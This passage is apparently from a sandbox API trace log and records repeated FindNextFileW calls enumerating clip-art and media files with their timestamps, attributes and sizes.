ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0277.330] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0277.331] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0277.332] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0277.332] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0277.332] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0277.333] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0277.333] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0277.333] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0277.333] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0277.333] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0277.333] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0277.333] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0277.333] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0277.333] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0277.333] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0277.333] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0277.334] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0277.335] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0277.335] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0277.335] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0277.335] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0277.335] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0277.335] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0277.335] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0277.335] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0277.335] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0277.335] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0277.335] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0277.335] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0277.336] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0277.336] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0277.336] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0277.336] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0277.336] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0277.336] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0277.336] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 